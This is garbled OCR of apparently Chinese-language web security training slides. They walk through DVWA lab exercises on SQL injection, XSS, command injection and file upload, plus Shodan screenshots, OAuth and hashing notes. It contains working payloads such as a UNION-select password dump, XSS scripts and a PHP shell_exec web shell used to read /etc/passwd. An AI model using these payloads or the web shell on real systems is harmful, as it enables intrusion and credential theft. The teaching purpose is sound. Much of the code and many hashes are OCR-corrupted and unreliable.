- loT exploit wiki

- MS17-010(CVE-2017-0148)
- Struts2
- Shellshock
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Shodan D pers

o% sHooan [B=F

s Exploits %, Maps

s Images ol Like 266

& Download Results

1

Y

xplore Downloa

Il Create Report

Enterprise ntact Us

TOP COUNTRIES

United States 4,487,389
China 930,629
Brazil 850,420
Germany 820,974
France 489,746
PO R ANIATIONS e
Amazon.com 757,979
Digital Ocean 209,572
OVH SAS 251,198
GoDaddy.com, LLC 205,723
Telefonica de Espana 191,552
TOPOPERATING SYSTEMS
Linux 3.x 103,146
Linux 2.6.x 70,714
Windows 7 or 8 6,334
Linux 2.4.x 4,182
FreeBSD 9.x 3,062
DO R TS et
OpenSSH 5,996,697
Dropbear sshd 2,506,448
Linksys WRT45G modified dropbear sshd 216,424
Seagate GoFlex NAS device sshd 65,147
lancom sshd 57,943

Total results: 13,036,211
155 133.14.225
155133142

INTERKA SC
Added on 20
= Poland, Olesno

Details

162.75.221.78
Isbmebr-brd1 fe1.5m-bs. La Net
State of Louisiana Office of
Telecomm ions Ma

GMT

Added on 2016-05-02 16:39:2
#E United States, Baton Rouge
Details

54.81.63.53

Amazon.col
hrlrlerl on2 16
#E United States, Ashburn
Details

T

162.253.109.204
Maple RNerCommumcatlons
hrlrlerl on 2016-05-02 16:39:21
#E United States, Casselton
Details

66.134.34.75
MegaPath Co
Added on 2016-05
®E United States, San Jose
Details

1-63-53.compute-1.amazonav

55H-2 . @-dropbear_@.51

Key type: ssh-rsa

Key: AARABINZEC]yCc2EAAAADADABAAAAZWCTYMCK I TmIBOLOWISknwg 1P STHYAS SqiGVDHEIGPENFT+F
BNJBNUKfve+F1xxI/jKqCDY¥P+mShzh/DhbdoezCscablksY47xHIt8XvIT17vbRjaEdx@akrThKi
N/dQT3wfCFENpRjO2tBnCmXEsD2ZizMZyDostopzudG9 / 3nZAT5P

Fingerprint: 7e:7a:ba:61:dc:@d:f9:96:458:F2: 584,

55H-1.99-Cisco-1.25

Key type: ssh-rsa

Key: AAAABINzaC]yc2EAAAADAQABAAABAQDXOVRYBzyu+urNBOdLTASaP Tke+EWIRLhsFALyNzHimLPc
JICef TMBYVRsWNAKSBY@YKILUOXddF lebIf rHal ereSImBZesv47 /haNbsSIAKGIZ2XdTHucwhtQ
hH15Awhby1z51Hj42d 38Ul Xh9G4BGa0KzyzusXG+KBi Y VR VdgK TgMGgxF 1 PzbP ImY TwlpITAL
SD5HYd] YnpJHER+@B3mGdeX. . .

55H-2.@-0pen35H_53.%p1 Debian-Subuntul.&

Key type: ssh-rsa

Key: AAAABINzaC] yc2EAAAADAQABAAABAQDeVTpnHKumalocOdr CLEeETeUyPVIbpmMDegRGT cnRsr
Jjzg+oGsoEdTdbrHxdSDeXTHE /EbxrlgpTxgYtXvyf1YswAXdIT9sogHY nwy2TeTySTQy 7 IS9R=TS
aQfbnrip/uH8+HxGpmHIHOUWMspfFNUg8reCCrWdGrvhZgt snk 58dpgbv TWemvdav3Gxllglzcmde
I15...

55H-2.@-dropbear_2214.63

Key type: ssh-rsa

Key: AAAABINzaC]yc2EAAAADAQABAAAAZWCZWSyMO+qY JAMWE Y Lo zUe50cdx exVb/F1n18emdgh8Wr
BsChBuuZx iUZ5+T3DeTeM5@aP tzdall/ 2 fkSckx1FV IdP6r aP+xgeby6FFGQ4GHROIssVmAvIpaT
HgngQlifcMBXhOEgROMAVExt IWYWuoz8C56vpsENOqZHaDgjeh5B

Fingerprint: be:52:fd:a6:b7:d0:98:30:21:0a. .

55H-2.@-0penSSH_5.3p1 Debian-3ubuntu?

Key type: ssh-rsa

Key: AAAABINzaC1yc2EAAAABTWAAAQEAthIZObF +uX1b/PHmDTKKZUjwS 76 FwkdThloikSWId/ rivgTS7
PLty¥VHvU3dEKi7gKdIbilUMaY IE/9A/bvDE+Vguah6sE fuRK3UUFCE T2 /hDVLbkvRbKFZPXEmEls
Uzis1461exhcWCwAyuWlyWoQ/ hmuTmyCijyrZhBzwWype JGEmtMpSFEGeSMETAD 1 gndb3fRIYXeu
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- Qauth®E: — +

| --(A)- Authorization Request ->| Resource

|
| | Owner
|<-(B)-- Authorization Grant ---|

| Fommmmm o +
|

| Fommmmm o +

|--(C)-- Authorization Grant -->| Authorization |

Client | | Server |
|<-(D)----- Access Token ------- |
| Fommmmm o +
|
| Fommmmm o +
I Access Token ------ >| Resource |
| | Server |
|<-(F)--- Protected Resource ---|
S = R +

Figure 1: Abstract Protocol Flow
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- WHETE
- SQL Injection &} EER;

- DVWA:
- http://lwww.dvwa.co.uk/

- PentesterLab
- https://pentesterlab.com/exercises/web_for_pentester

- BTSLAB
- https://sourceforge.net/projects/btslab/
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<?php if( isset( $_REQUEST[ 'Submit’' ] ) ) {
// Get 1input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql _error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = o;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// FeedbacRk for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase Loop count
$i++;
}
mysql_close();

- SQL Injection - low
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<?php if( is®t( $_REQUEST[ 'Submit’' ] ) ) {
// Get inpu
$id = $_REQUESTINid' 1;
// Check database
$query = "SELECT first'™wgme, last_name FROM users WHER# user_id = '$id';";
$result = mysql_query( $que ) or die( ‘'<pre>' . fsql _error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = o;
while( $i < $num ) {
// Get values
$first = mysql_result( $p€Sult, $i, "first_Mage" );
$last = mysql_result(#result, $i, "last_name"
// FeedbacRkR for ep# user
echo "<pre>ID MM$id}<br />First name: {$first}<br />SuMsagme: {$last}</pre>";

// Increasgfloop count
$it+;
}
mysq¥ close();
}
?>

o SQL Injection - low
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// Get input
$id = $ REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

- Exploit :
- 'union select user,password from users #

o SQL Injection - low
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Vulnerability: SQL Injection

Home |
Instructions |
Setup | Reset DB | User ID: Submit
ID: 'union select user,password from users #
Brute Force First name: admin

o surname: 53T4dcc3b5aa765deld8327deh882cf99
Command Injection

CSRF

ID: 'union select user,password from users #
First name: gordonb
Surname: =9%%al8c428cb38d5T260853678%22283

File Inclusion

File Upload ID: ‘union select user,password from users #
Insecure CAPTCHA Surname: 8d3533d75ae2c3966d7e0d4fccE9216b

SQL Injection (Blind)

ID: 'union select user,password from users #
First name: pablo
surname: @d1e7de3fsbbeddcadelddesc7lededb?

|
|
|
|
I First name: 1337
|
|
|
|

XSS (Reflected
( ) ID: "union select user,password from users #
XSS (Stored) First name: smithy

surname: 5f4dcc3b5aaiesdeld8327debB382cf00
DVWA Security |
PHP Info | More Information

5 SQL Injection - low
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- 1R E
- #FiE$ REQUESTEEAFEXMENMRRESS GET -
$ POST - $ COOKIEESRALZZE -

- RETRIE
- HRTERE
- BHEH
- BKRFTT - RS

. SQL Injection - low



R - :
RN e b

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get 1input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// FeedbacRk for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase lLoop count
$i++;
}
//mysql_close();

?>

- SQL Injection - medium
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<?php
if( isset( $ ™QST[ 'Submit' ] ) ) {

// Get 1inpu

$id = $_POST[ "N 1;

$id = mysql_real_es®gpe_string( $id );

// Check database

$query = "SELECT first_naMeg last_name FROM y#ers WHERE user_id = $id;";

$result = mysql_query( $quer or die( 'gfre>' . mysql_error() . '</pre>' );

// Get results

$num = mysql_numrows( $result );

$i = 0;

while( $i < $num ) {
// Display values
$first = mysql_re ( $result, $i, "first_nawe" );
$last = mysql_p&Sult( $result, $i, "last_name"
// Feedbac Or end user
echo "<p ID: {$id}<br />First name: {$first}<br />SuNgame: {$last}</pre>";
// Ip#PFease Loop count
S ;

}

mysql_close();
}
?>

5 SQL Injection - medium
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$id = $ _POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

$result = mysql_query( $query ) or die( '<pre>' . mysql_error() .
'</pre>' ); 1

- Exploit:
- 1d=1 or 1=1 union select user,password from users
#&Submit=Submit

- (hackbar)

00 SQL Injection - medium



RN e b

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SAL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID: Submit

I0: 1 or 1=1 union select

First name: admin
Furname: admin

I0: 1 or 1=1 union select

First name: Gorden
Surname: Brown

10: 1 or 1=1 union select

First name: Hack
Burname: Me

1ID: 1 or l=1 unlon select

First name: Pabla
Surname: Picasso

1ID: 1 or l=1 unlon select

First name: Bohb
Surname: Smith

user,password from

user,password from

user,password from

user,password from

user,password from

ID: 1 or 1=1 union select user,password from

First name: admin

Surname: 5fddccibiaa7asdaldii2vdebdilofag

ID: | or 1=1 union select user,password from

First name: gordonk

Surname: e99318cd28ch38d5f26085346708822.03

ID: 1 or 1=1 union select user,password from

First name: 1337

Surname: 8d3533d75aelc3066d7e0dd fochB2lah

ID: 1 or 1=1 union select user,password from

First name: pahlo

Saenawma- NATO7ANAFSLLaAN A2 datd aSe7 1 a0a0l?

91

nEers

nEers

users

users

users

users

users

users

users

SQL Injection - medium
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<?php if( isset( $_GET[ 'Submit’' ] ) ) {
// ChecR Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// ChecR the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id =
(:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute(); $row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// FeedbacRk for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

11}
// Generate Anti-CSRF token

generateSessionToken(); ?>

o SQL Injection - Impossible
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- WHHEE
- SQL Injection &k} ERfE
- TIEEE
41k - ERES
- EREEAEER

- File®&EpR

- {#£H Prepared Statements - %0 Java PreparedStatement() - .NET
SqglCommand(), OleDbCommand() - PHP PDO bindParam()

- {£M Stored Procedures
- EZEINMERBHAE

- [EHBEFEHEEBIEIEENFIT - Bl mysql_real_escape_string -
addslashes

- EEESARRATEBULRE
- EEENEREILERERRERSRD

- WEMABAE - FIEZRERRETEE - fluERintval()
- ¥ Edouble-bytes encodingmoo dezb , & f#ERutf8
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- WHEE
- Cross-site scripting(XSS)

- BK/NREI M EBEFF R ?
- falcookie * IR
Deface
B o) B =49 1h
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- WHEE
- Cross-site scripting(XSS)

- BK/NREI M EBEFF R ?
- falcookie * IR
Deface
B o) B =49 1h
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(@ 192.168.31.141 /vulnerabilities/xss_s/ G ¥

Vulnerability: Stored Cross Site Scripting (XSS)

Home |

Instructions |
Mame * <script> window.onload = function(){docu
Setup | Reset DB |

123]

Message ~

Brute Force

Command Injection

CSRF

Sign Guestbook

|

|

|

File Inclusion |
File Upload |
Insecure CAPTCHA |
|

|

|

|

Name: test
Message: This is a test comment.

SQL Injection More Information

SQL Injection (Blind)
XSS (Reflected)

DVWA Security |
PHP Info |
About |

Logout |
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<?php

// Is there any input?

if( array_key_exists( "name", $ GET ) & & $ GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $ GET[ 'name' ] . '</pre>';

?>

XSS- low
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<?php

// Is there any input®
if( array_key_exists( "namg", $ GET ) & & $ GET[ 'name, I= NULL ) {
// Feedback for end
$html .= '<pre>Hello ' .™WGET[ 'name

?>

XSS- low
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<?php

// Is there any input?

if( array_key_exists( "name", $ GET ) & & $ GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $ _GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";

?>

XSS- medium
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<?php

// Is there any input?

if( array_key_exists( "name",
// Get input
$name = str_replace( '<script?

GET ) &% $_GET[ me' ] != NULL ) {
> $ GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello

?>

XSS- medium
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192.168.31.141/vulnerabilities/xss_r/?name= <script>alert’X55") < %2Fsc ¢ | Q&= wBa ¥ @ @&

Vulnerability: Reflected Cross Site Scripting (XSS)

Home |

Instructions |

Setup / Reset DB | What's your name‘?| | Submit
Hello alert( ‘X383

Brute Force

Command Injection
CSRF

More Information

File Inclusion

|
|
|
|
File Upload |
|
|
|
|
|

Insecure CAPTCHA

SQL Injection
SAL Injection (Blind)

XSS (Stored)

DVWA Security |
PHP Info |
About |

Logout |

Username: admin View Source ‘ View Help ‘

Security Level medlum
XSS- medium

nonc.
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) | 192.168.31.141 /vulnerabilities/xss_r/7name

XSS- medium
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<?php

// Is there any input?
if( array_key_exists( "name", $ GET ) & & $ GET[ 'name' ] != NULL ) {
// Get input

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "',
$ GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";

?>

XSS- high
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<?php

// Is there any input®
if( array_key_exists( "n
// Get input

$name = preg_replace( '
$ GET[ 'name' ] );

", $ GET ) & $_GET[ 'name, I= NULL ) {

(.®)i(.*)p(.*)t/i", ',

// Feedback for end user
$html .= "<pre>Hello $

?>

XSS- high
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192.168.31.141/vulnerabilities/xss_r/?name= <img%?2Fsrc%3D +onerror X Q&=

PHPSESSID=gqkf8aq89luvigj44fpfnjlirs; security=high
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<?php

// Is there any input?
if( array_key_exists( "name", $ GET ) & & $ GET[ 'name' ] != NULL ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
"index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";

// Generate Anti-CSRF token
generateSessionToken();

?
' XSS- Impossible
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- Cross-site scripting(XSS)

- TEEE
MERRKFENAVBIR
- )% client sidei&E1TFHE - oJ#&Zbypass

- ERINETHE
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- FrERAEHBRETEERT FRENE

- EEMERNENERNECEBEEZRTERERE L - flUERH
HTML Entities#m S #8455 F 7T

- ZEBEWMZoISE
Ettps ://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_S
eet

110



A8 b A2 =0 B 3¢ B I RR

- WEHE(F
- CMD Injection
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<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $ REQUEST[ 'ip' ];

// Determine O0S and execute the ping command.

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell exec( 'ping ' . $target );

}
else {

// *nix

$cmd = shell exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";

CMDI- low
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@® 192.168.31.141 /vulnerabilities/exec/#

Home

Instructions |
Setup | Reset DB |

Brute Force |

CSRF

|

File Inclusion |
File Upload |
Insecure CAPTCHA |
SAL Injection |
|

|

|

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security |
PHP Info |
About |

Logout

Vulnerability: Command Injection

Ping a device

Enter an IP address:| || Submit |

PING 127.0.8.1 (12 .1} 56(84) bytes of data.
icmp_seg=1 ttl=64 time=0.820 ms

7.0.8
.0.8.1
127.0.8.1: icmp_seq=2 ttl=64 time=0.858 m
8.8.1
9.0.1

n

icmp_seg=3 ttl=564 time=8.272 ms
icmp_seg=4 ttl=54 time=8.336 ms

n

--- 127.8.8.1 ping statistics ---
4 packets transmitted, 4 received, @% packet loss, time 2997ms
rtt min/avg/max/mdev = @.020/0.858/9.986/0.927 ms
root:x:@:8:root: /root: /bin/bash
daemon:x:1:1:daemon: fusr/sbin:/usr/shin/nologin
bin:x:2 'sbi
sys:x:3:3:sys:/dev:/us
sync:x:4:65534:sync: fbin: /bin/sync
games:x:5:60:games: /usr/games: fusr/shin/nologin

: ache/man:/usr/sbin/nologin
pool/lpd:/usr/sbin/nologin
sr/shbin/nologin

ews: /usr/sbin/nologin

uucp: :18:uucp:/var/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/shin/nologin
wevi-datax: 3rwww-data:/var/) fusr/sbin/nologin
backup:x:34: ackup: /var/backups:/usr/sbin/nologin
list:%:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircix:39:39:dircd: fvar/run/ircd: /usr/sbin/nologin
gnats:x:41:41:6nats Bug-Reporting System (admin):
nobody :x:65534: 65534 :nobody : /nonexistent: /usr/sbin/nologin
libuuid:x:18@:181: : /var/lib/libuuid:
syslog:x:181:1@4: :/home/syslog:/bin/false
mysql:x:182:185:MySQL Server,,,:/nonexistent:/bin/false

usr/s

1p:x:
mail:

news:

var/lib/gnats: /usr/shin/nologin

More Information
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- WEHE(F
- CMD Injection
- =i
- BIE
- Command injectionpp = xS %E
- https://github.com/RandomStorm/DVWA/blob/master/v
ulnerabilities/exec/source/impossible.php
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<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name’' ] );

// Can we move the file to the upload folder?
if( !move uploaded file( $ FILES[ 'uploaded’' ][ 'tmp_name' ], $target path ) )

{
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

upload- low
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<?php

if( isset( $_POST[ ™®gload' ] ) ) {
// Where are we goiMg,to be writing to?
$target_path = DVWA_WEBNPAGE_TO_ROOT . "hackabl&7uploads/";
$target_path .= basename( $NEILES[ 'uploadede® ][ 'name’ ] );

// Can we move the file to the upldgdgfolder?
if( !move_uploaded file( $_ FILES pNaded' ][ 'tmp_name' ], $target_path ) )

{
// No
echo '<pre>Your image was not uploaded.</prewl;
}
else {
// Yes!
echo fre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

upload- low
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D 192.168.31.141 Avulnerabilities/upload/ & ¢

Vulnerability: File Upload

Home |

LoDiE e | Choose an image to upload:
Setup / Reset DB | s
Brute Force

Command Injection

CSRF

File Inclusion
File Upload .
Insecure CAPTCHA =k
SAL Injection

SQL Injection (Blind)
XSS (Reflected)

XSS (Stored)

More Information

DVWA Security |
PHP Info |
About |

Logout |

Username: admin Wi S | View Help |
Security Level: low
PHPIDS: disabled
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- Google:—HFEAREE
- Plphp&Bl:<?php echo shell_exec($_GET['c']); ?>
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@ 192.168.31.141 /vulnerabilities/upload/# o ﬂ

Vulnerability: File Upload

Home |

ISR | Choose an image to upload:
Setup / Reset DB | T
Brute Force

Command Injection

CSRF

../ ../hackable/uploads/c.php succesfully uploaded!

File Inclusion

|

|

|

| .

| More Information
Insecure CAPTCHA | .

|

|

|

|

SQL Injection *
SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security |
PHP Info |
About |

Logout |

Usern_ame: admin W FaE | View Help |
Security Level: low
PHPID5: disabled

- ]
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@ view-source:192.168.21.141/hackable/uploads/c.php?c=cat¥20/etc/passwd;ifconfig

1) troot:x:@:@:root: /root:/bin/bash

2 daemon:ix:1l:1l:daemon: fusr/sbin: fusr/sbin/nologin

3 bin:x:2:2:bin:/bin:fusr/sbin/nologin

4 sys:x:3:3:sys:fdev:/usr/sbinSnologin

5 sync:x:4:65534:sync: fbin: fbin/sync

6 games:w:5:6@:games: S usr/games: fusr/sbin/nologin
7T|man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

8| lpixa¥:7:lp: fvard/spool/lpd: fusr/sbin/nologin

9| mail:x:8:8:mail:/var/mail: fusr/sbin/nologin

10| news:x:9:9:news: fvar/spool/news: fusrfsbin/nologin

11| uucp:x:1@:1@:uucp: fvar/spoolfuucp: fusr/sbin/nologin

12 | proxy:x:13:13:proxy: /bin: fusr/sbin/nologin

13 | www-data:x:33:33 rwww-data: SvarSwww: fusr/sbin/nologin

14 | backup:x:34:34:backup: /var/backups: fusr/sbin/nologin

15| list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 | irc:x:39:3%9:ircd: fvar/run/ircd: fusr/sbin/nologin

17 | gnats:x:41:41:6nats Bug-Reporting System (admin):/var/lib/gnats: usr/sbin/nologin
18 | nobody :x:65534: 65534 :nobody : fnonexistent: /usr/sbin/nologin
19| libunid:x:1@@:181: : fvar/1lib/libuuid:

20| syslogrx:181:184: : fhome/syslog: /bin/fTalse

21 | mysql:x:182:185:MySQL Server,,,: /nonexistent:/bin/false

22 | eth@ Link encap:Ethernet HWaddr @2:42:5c:11:88:82

23 inet addr:172.17.8.2 Bcast:9.8.0.8 Mask:255.255.2.0
24 inetts addr: feB88::42:acff:fell:2/64 Scope:Link

25 UP BROADCAST RUNMIMG MULTICAST MTU:158@ Metric:1

26 RX packets:1866 errors:8 dropped:® overruns:® frame:®
27 TX packets:755 errors:8 dropped:® overruns:8 carrier:9®
28 collisions: @ txqueuslen:®

29 RX bytes:235332 (235.3 KB} TX bytes:658233 (658.2 KB)
30

21| 1o Link encap:Local Loopback

32 inet addr:127.@.8.1 Mask:255.8.0.@

33 inets addr: ::1/128 Scope:Host

34 UP LOOPBACK RUMNING MTU:&5536 Metric:1

35 R¥ packets:4988 errors:8 dropped:@ overruns:® frame:®
36 TX packets:4988 errors:8 dropped:@ overruns:® carrier:@
£ collisions:2 txqueuslen:l

as RX bytes:366615 (366.6 KB) TX bytes:366615 (366.6 KB)
10

121



R - :
A8 b A2 =0 B 3¢ B I RR

$uploaded_type = $ FILES[ ‘'uploaded' ][ 'type' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ){

upload- medium
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$uploaded_typW\= $_FILES[ ‘'uploaded' ][ 'type' ];

if( ( $uploaded_ "image/jpeg" || $uploaded_typ "image/png" ){

upload- medium

123



R - :
A8 b A2 =0 B 3¢ B I RR

@ 192.168.31.141/vulnerabilities/upload/# 29| ‘i'.‘rj

Vulnerability: File Upload

Home |

Instructions |
Setup / Reset DB |

Choose an image to upload:

FIEETAEE

Your image was not uploaded. We can only accept JPEG or PNG images.

Brute Force

Command Injection
CSRF

File Inclusion

File Upload More Information
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

php/Unrestricted
phplarc
websitesecurity/upload-forms-threat/

DVWA Security |
PHP Info |
About |

Logout |

Username: admin i Source| e Heb|
Security Level: medium
PHPIDS: disabled

upload- medium
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Post Parameter Name Post Parameter Value

HIUIIN — WU e e — L--FIIF Wl

rnyr\n<?php echo

POST_DATA

-

----------------------------- ANNT25R0ARRT4AT?

upload- medium
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ome | Vulnerability: File Upload
Instructions | Choose an image to upload-

= | No file selected.

Brute Force -

z:'::land fniection ... fhackablefuploadsfc.php succesfully uploaded!

File Inclusion

Insecure CAPTCHA
SQL Injection

3AL Injection (Blind)
XSS (Reflected)
XSS (Stored)

-

.
.

|

|

|

| .

| More Information
|

|

|

|

|

DVWA Security |
PHP Info |
About |

Logout |

Username: admin View Source ‘ View Help |
Security Level: medium

PHPIDS: disabled

upload- medium
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- ERABEZELENERNEE A0S
- BRGNS
- EFH%EH?EE’\J*E%?IE%B%%I‘@E’\J - BIIERIE RN R EFE
- f#ERImage Library?R5z:EE k (php-gd)
- FAR LEBFMNMITER

http://www.slideshare.net/p8361
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- IPAEE
- AUlwmHashiHl

— Clear Mossee.
Data of Arbitrary — — ——

* Hashes are used for integrity * em— ave—

mm. Lo v — -—
« Hashes are based on one-way e Samm—
,um- | — | — —

Thzraah function hashes arbitrary
dats-into a fixed-length digest known
as the hash value, message digest,
digest, or fingerprint.

# Message Digest
# Digest

# Hash value

# Fingerprint
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- ARP
- Sniffing
- MITM

129



AN UL IE TV S BT PR
- PR ETE

= A LLI
- AulmHashi |
Plain text form post DB Server
plain text
abc123
HTML E
E Netwnr ransform
Front end Back end

ARP Spoofing - Sniffing - MITM
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- IPAEE
- AUlwRHashiHl

JS Hash Function
Hash Value DB Server

Gcal3ds2carlcdi3edfi0bb10e425a80e
8624deb1db2d2392593 af6284118090

Js
HTML E CSS
E E Network transform
Front end @

OneWay Hash’ - Difficult to crack
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- IPAEE
- AUlwRHashiHl
- IREE

- AR ZEERRE L% -

- fclient sideizx B S F{EHAHash Function N2 3% F &% - O]
e EEEHPHAMINT S NZNZRN - MASIEESER
®BisA N -

- Sha256js
- http://pajhome.org.uk/crypt/md5/sha256.html

http://www.slideshare.net/p8361
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2=

ReefaiFlhash value - EWEEXICHEE HEZ - A3
EcdrequestE BIL A hash valueFi T IEA T IE ?
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- WEHEF
- AR EReplay 2
R LEreplay ERE R BN ?
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- W EAF
- AR EReplay 2

id num(time)

Hash of ' id num and password'hash |

JS Hash Function DB Server
1461918725462

3fcB3T7301eab3423e753d6fBb a0 90b3a

45 14b564c45256e5d1c 749d29459fe 9d
HTML CXX
| y
Network transform

Front end Back end

1. Query wser hash from db

Change authentication token everylime.
2. Hash of user's hash and id
UM to verity
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- WEHEF
- AR EReplay 2

- IEhE
- {EFrandomid numi—idﬁﬁ%ﬂ’]hash valuefEXhashEE— %
AoJiFEfhashEiE R & IRsRE
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- FAQ

- References
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